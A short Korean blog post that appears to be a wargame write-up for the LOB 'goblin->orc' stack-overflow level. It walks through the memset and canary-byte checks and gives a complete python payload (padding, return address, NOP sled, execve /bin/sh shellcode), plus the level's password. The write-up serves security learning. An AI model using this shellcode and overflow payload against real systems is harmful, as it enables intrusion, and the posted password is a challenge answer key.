본문 바로가기

wargame/S_LOB

goblin->orc

시험기간 & 걍 휴식으로 인해 너무 오래 쉬었지만 마침 계절학기 교양이 핵노잼이어서 다시 시작ㅋ

문제다.

memset을 이용하여 계속 환경변수를 초기화시킨다. 근데 여태 몰랐는데 문제 상단에 주석으로 힌트가 달리는거같다..... 이래서 문제를 잘 읽어야 하는데..........ㅋ 기말도 문제 제대로 안읽어서 망했으면섴ㅋㅋㅋ

문제자체에도 egghunter라 써있는걸 보면 환경변수를 이용할 수 없는거같다.

argv[1][47]에 \xbf가 들어가야된단다. canary인거같다.


문제가 쫌 긴만큼 다시 정리해보자면

1. 전역변수로 환경변수들을 선언 -> 0으로 초기화

2. buffer의 size는 40, int i의 사이즈 4 합하면 44..

3. canary값 존재


먼저 tmp폴더에 orc파일을 옮기고 gdb로 실행해봤는데 register가 확인이 안돼서 core dump로 확인해보았다.


내 시나리오는 A로 44byte 채우고, 4byte에 ret를 변조시킨다. 다음 NOP를 쭈욱 넣고 썰매를 타서 shellcode를 실행시킬것이다



내 페이로드이다

./orc `python -c 'print "A"*44+"\x60\xfa\xff\xbf"+"\x90"*1000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


처음에는 ret주소를 잘못 생각해서 실패하였고 위의 페이로드로 잘 됐다.



pw는 cantata


'wargame > S_LOB' 카테고리의 다른 글

wolfman->darkelf  (2) 2016.08.31
orc->wolfman  (0) 2016.06.24
cobolt -> goblin  (0) 2016.06.14
gremlin->cobolt  (0) 2016.06.12
gate->gremlin  (0) 2016.06.12